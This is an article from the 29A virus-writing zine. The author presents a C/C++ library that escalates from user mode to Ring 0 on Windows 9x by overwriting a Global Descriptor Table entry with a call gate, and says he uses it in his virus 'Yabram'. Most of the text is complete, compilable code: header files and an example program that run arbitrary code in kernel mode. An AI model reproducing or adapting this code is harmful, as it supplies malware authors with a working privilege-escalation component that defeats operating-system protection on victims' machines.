Copy Link
Add to Bookmark
Report
29A Issue 03 02 04
Pass to Ring 0 with C/C++
by SoPinKy... Made in Argentina
It is a techniques called "Call Gate technique" to pass to Ring 0.
I use this technique in my virus "Yabram".
I code this techniques in MASM and C/C++.
This technique consist in install a GDT Call Gate to pass to Ring 0.
Resume of Callgate technique:
1) Search the GDT to find the descriptors of the Ring 0 code.
2) Save the first valid entry of the GDT.
3) Replase the first valid entry of the GDT with a Callgate.
4) Call the Callgate.
5) In my Ring 0 code i restore the GDT entry.
6) Setting the DS, ES, GS, SS register.
7) Exec the Ring 0 code ;)
8) RetF... hehehe i back to Ring 3.
9) Restore the DS, ES, GS, SS.
This techniques is very secure.... ever works correctly.
i coded the DirectHackers.h library... with these library i can pass a proc to
Ring 0.
The most usefull procs are:
-InitDirectH():
This proc, search the GDT to find the descriptors of the Ring 0 code
and save this descriptors.
Save the first valid entry of the GDT.
-CallRing0(Ring0Proc);
Ring0Proc is a pointer of the proc to Call.
This proc, Replase the first valid entry of the GDT with a Callgate.
Call the Callgate.
When the Ring0Proc return, restore the DS, ES, GS, SS.
-InitRing0();
This proc, restore the GDT entry.
Setting the DS, ES, GS, SS register for Ring 0.
-RetCallback
is a macro for return a Ring 3.
Note:
if you need install a program linking with C/C++ compiler as a VXD..
you must by Looked the memory used by all proc in Ring 0.
Thanks:
Vecna _ Hey You are a genius... and Argentinian too...
GriYo _ You are a genius too ;)
MrSandman _ Tnx very much. ;)
int13h _ You are crazy man...... Aguante SudAmeRiCa CaRajo!!!
darkman _ Tnx for correct my bad english ;)
Ypsilon _ You are fany :)
Somnium _ By to be woman... and Argentinian too...
ViruBust _ AVPMan ... hehehe... you are great ;)
WinterMute _ Whats happens with EMMA?? hahaha
Reptille- _ You are my friends... my youngest friend :)
Superx _ A Super Man... A Super Coder... A Super X hehehe
JQwerty _ You are my inspiration.......
Example:
Main.CPP
------------------------------------CUT--------------------------------------
#include <WINDOWS.h>
#include "DirectHackers.h"
//it is a example of a proc in Ring 0
Ring0Proc()
{
InitRing0();
__asm
{
int 20h //get current vm
_emit 0x01 //Function ID
_emit 0x00
_emit VMM_ID //VXD ID
_emit 0x00
//in ebx i have the handle of virtual machine
}
RetCallback;
};
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
PSTR lpCmdLine,int nCmdShow)
{
MSG msg ;
DWORD a;
int x;
__asm pusha
InitDirectH();
CallRing0((unsigned int)Ring0Proc);
__asm popa
return 0;
}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;A .h Files;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DirectHackers.h
------------------------------------CUT--------------------------------------
#ifndef __DirectHackers_h
#define __DirectHackers_h
#include "VMMStruct.h"
//Data
DWORD VM=0,TR=0;
Control_Block *VMCBSystem=0,*VMCB=0;
DWORD esp3;
WORD cs3,ds3,es3,sp3,fs3,gs3; //State of ring 3 register
WORD cs0,ds0,es0,fs0,gs0; //State of ring 0 register
Comp *Callb,Callbcpy; //a callbacks hahaha
//to return of ring 0
#define RetCallback \
_asm sti \
_asm pop edi \
_asm pop esi \
_asm pop ebx \
_asm leave \
_asm retf;
InitDirectH()
{
FPWORD gdt; //Base of GDT
Descriptor *gdtdesc;
word a;
__asm sgdt gdt; //get the addres of GDT
gdtdesc=(Descriptor *)gdt.base;
__asm //Save the ring 3 Segments selectors
{
mov cs3,cs
mov ds3,ds
mov es3,es
mov sp3,sp
mov fs3,fs
mov gs3,gs
mov esp3,esp
}
//Serch for the adecuate CS
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
if(gdtdesc->limit_l==0xffff &&
gdtdesc->base_l==0x0000 &&
gdtdesc->base_m==0x00 &&
gdtdesc->access==0x9b &&
gdtdesc->limit_h== 0xcf &&
gdtdesc->base_h==0x00)break;
}
cs0=a<<3;
//Serch for the adecuate DS, ES, Etc
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
if(gdtdesc->limit_l==0xffff &&
gdtdesc->base_l==0x0000 &&
gdtdesc->base_m==0x00 &&
gdtdesc->access==0x93 &&
gdtdesc->limit_h== 0xcf &&
gdtdesc->base_h==0x00)break;
}
ds0=a<<3;
es0=a<<3;
fs0=a<<3;
gs0=a<<3;
}
//Call a proc and switch to ring 0
CallRing0(DWORD PUNTERO)
{
FPWORD gdt;
Descriptor *gdtdesc;
Comp *Callb,Callbcpy;
FARJMP salto;
WORD h,l;
salto.offset32=0;
salto.seg=0x08;
__asm sgdt gdt;
gdtdesc=(Descriptor *)(gdt.base+8);
Callb=(Comp *)(gdt.base+8);
Callbcpy.sel=Callb->sel; //make a copy
Callbcpy.attrib=Callb->attrib;
Callbcpy.offs_l=Callb->offs_l;
Callbcpy.offs_h=Callb->offs_h;
Callb->sel=cs0;
Callb->attrib=0xec00;;
__asm
{
mov eax,PUNTERO
mov l,ax
shr eax,16
mov h,ax
}
Callb->offs_l=l;
Callb->offs_h=h;
__asm {
push ds
push es
push gs
push fs
}//save the ring 3 segment selectors
__asm //Call the CALL GATE!!!!
{
cli
call FWORD PTR salto
}
//restore de segment selectors in ring 3
__asm
{
cli
pop fs
pop gs
pop es
pop ds
sti
}
return;
}
InitRing0()
{
FPWORD gdt;
Comp *Callb;
__asm sgdt gdt;
__asm cli
Callb=(Comp *)(gdt.base+8);
Callb->sel=Callbcpy.sel;
Callb->attrib=Callbcpy.attrib;
Callb->offs_l=Callbcpy.offs_l;
Callb->offs_h=Callbcpy.offs_h;
__asm
{
mov ds,ds0
mov es,es0
mov fs,fs0
mov gs,gs0
sti
//int 3h
int 20h
_emit 0x08 //get the thead handle
_emit 0x01
_emit VMM_ID
_emit 0x00
mov TR,edi
int 20h
_emit 0x01 //get current vm
_emit 0x00
_emit VMM_ID
_emit 0x00
mov VM,ebx //current VM handle, osea de sistema
sti
}
}
#endif
------------------------------------CUT--------------------------------------
VMMStruct.h
------------------------------------CUT--------------------------------------
#ifndef __vmmstruct_h
#define __vmmstruct_h
//definitions
#define Get_Cur_VM_Handle 0x01
#define Get_VMM_Version 0x00
#define VMM_ID 0x01
#define VDD_ID 0x0a
#define VFD_ID 0x0011f;
#define VWIN32_ID 0x0002A
#define SHELL_ID 0x00017
#define word unsigned short
#define dword unsigned int
#define DWORD unsigned int
#define WORD unsigned short
#define byte unsigned char
#define BYTE unsigned char
//Structs
#pragma pack(1)
typedef struct
{
word limite;
dword base;
}FPWORD;
typedef struct
{
dword offset32;
word seg;
}FARJMP;
//struct of descriptors
typedef struct
{
WORD limit_l;
WORD base_l;
BYTE base_m;
BYTE access;
BYTE limit_h;
BYTE base_h;
}Descriptor;
typedef struct
{
WORD desp_l;
WORD sel;
BYTE tipo_l;
BYTE tipo_h;
BYTE desp_h;
}Idt_Descriptor;
//compuertas del 386
typedef struct
{
WORD offs_l;
WORD sel;
WORD attrib;
WORD offs_h;
}Comp;
//Description Block
typedef struct {
ULONG DDB_Next; /* VMM RESERVED FIELD */
USHORT DDB_SDK_Version; /* INIT <DDK_VERSION> RESERVED FIELD */
USHORT DDB_Req_Device_Number;/* INIT <UNDEFINED_DEVICE_ID> */
UCHAR DDB_Dev_Major_Version; /* INIT <0> Major device number */
UCHAR DDB_Dev_Minor_Version; /* INIT <0> Minor device number */
USHORT DDB_Flags; /* INIT <0> for init calls complete */
UCHAR DDB_Name[8]; /* AINIT <" "> Device name */
ULONG DDB_Init_Order; /* INIT <UNDEFINED_INIT_ORDER> */
ULONG DDB_Control_Proc;/* Offset of control procedure */
ULONG DDB_V86_API_Proc;/* INIT <0> Offset of API procedure */
ULONG DDB_PM_API_Proc; /* INIT <0> Offset of API procedure */
ULONG DDB_V86_API_CSIP;/* INIT <0> CS:IP of API entry point */
ULONG DDB_PM_API_CSIP; /* INIT <0> CS:IP of API entry point */
ULONG DDB_Reference_Data; /* Reference data from real mode */
ULONG DDB_Service_Table_Ptr;/* INIT <0> Pointer to service table */
ULONG DDB_Service_Table_Size; /* INIT <0> Number of services */
ULONG DDB_Win32_Service_Table;/* INIT <0> Pointer to Win32 services */
ULONG DDB_Prev; /* INIT <'Prev'> Ptr to prev 4.0 DDB */
ULONG DDB_Size; /* INIT <SIZE(VxD_Desc_Block)> Reserved */
ULONG DDB_Reserved1;/* INIT <'Rsv1'> Reserved */
ULONG DDB_Reserved2;/* INIT <'Rsv2'> Reserved */
ULONG DDB_Reserved3;/* INIT <'Rsv3'> Reserved */
}Desc_Block;
//Control block
typedef struct {
ULONG Client_EDI; /* Client's EDI */
ULONG Client_ESI; /* Client's ESI */
ULONG Client_EBP; /* Client's EBP */
ULONG Client_res0; /* ESP at pushall */
ULONG Client_EBX; /* Client's EBX */
ULONG Client_EDX; /* Client's EDX */
ULONG Client_ECX; /* Client's ECX */
ULONG Client_EAX; /* Client's EAX */
ULONG Client_Error; /* Dword error code */
ULONG Client_EIP; /* EIP */
USHORT Client_CS; /* CS */
USHORT Client_res1; /* (padding) */
ULONG Client_EFlags; /* EFLAGS */
ULONG Client_ESP; /* ESP */
USHORT Client_SS; /* SS */
USHORT Client_res2; /* (padding) */
USHORT Client_ES; /* ES */
USHORT Client_res3; /* (padding) */
USHORT Client_DS; /* DS */
USHORT Client_res4; /* (padding) */
USHORT Client_FS; /* FS */
USHORT Client_res5; /* (padding) */
USHORT Client_GS; /* GS */
USHORT Client_res6; /* (padding) */
ULONG Client_Alt_EIP;
USHORT Client_Alt_CS;
USHORT Client_res7;
ULONG Client_Alt_EFlags;
ULONG Client_Alt_ESP;
USHORT Client_Alt_SS;
USHORT Client_res8;
USHORT Client_Alt_ES;
USHORT Client_res9;
USHORT Client_Alt_DS;
USHORT Client_res10;
USHORT Client_Alt_FS;
USHORT Client_res11;
USHORT Client_Alt_GS;
USHORT Client_res12;
}Client_Reg_Struc;
typedef struct Thread_Control_Block {
ULONG TCB_Flags; /* Thread status flags */
ULONG TCB_Reserved1; /* Used internally by VMM */
ULONG TCB_Reserved2; /* Used internally by VMM */
ULONG TCB_Signature;
ULONG TCB_ClientPtr; /* Client registers of thread */
ULONG TCB_VMHandle; /* VM that thread is part of */
USHORT TCB_ThreadId; /* Unique Thread ID */
USHORT TCB_PMLockOrigSS; /* Original SS:ESP before lock stack */
ULONG TCB_PMLockOrigESP;
ULONG TCB_PMLockOrigEIP; /* Original CS:EIP before lock stack */
ULONG TCB_PMLockStackCount;
USHORT TCB_PMLockOrigCS;
USHORT TCB_PMPSPSelector;
ULONG TCB_ThreadType; /* dword passed to VMMCreateThread */
USHORT TCB_pad1; /* reusable; for dword align */
UCHAR TCB_pad2; /* reusable; for dword align */
UCHAR TCB_extErrLocus; /* extended error Locus */
USHORT TCB_extErr; /* extended error Code */
UCHAR TCB_extErrAction; /* " " Action */
UCHAR TCB_extErrClass; /* " " Class */
ULONG TCB_extErrPtr; /* " pointer */
}Thread_Control_Block;
typedef struct
{
DWORD CB_VM_Status ;
DWORD CB_High_Linear ;
DWORD CB_Client_Pointer ;
DWORD CB_VMID ;
DWORD CB_Signature ;
}Control_Block;
#endif
------------------------------------CUT--------------------------------------
by SoPinKy... Made in Argentina by SoPinKy... Made in Argentina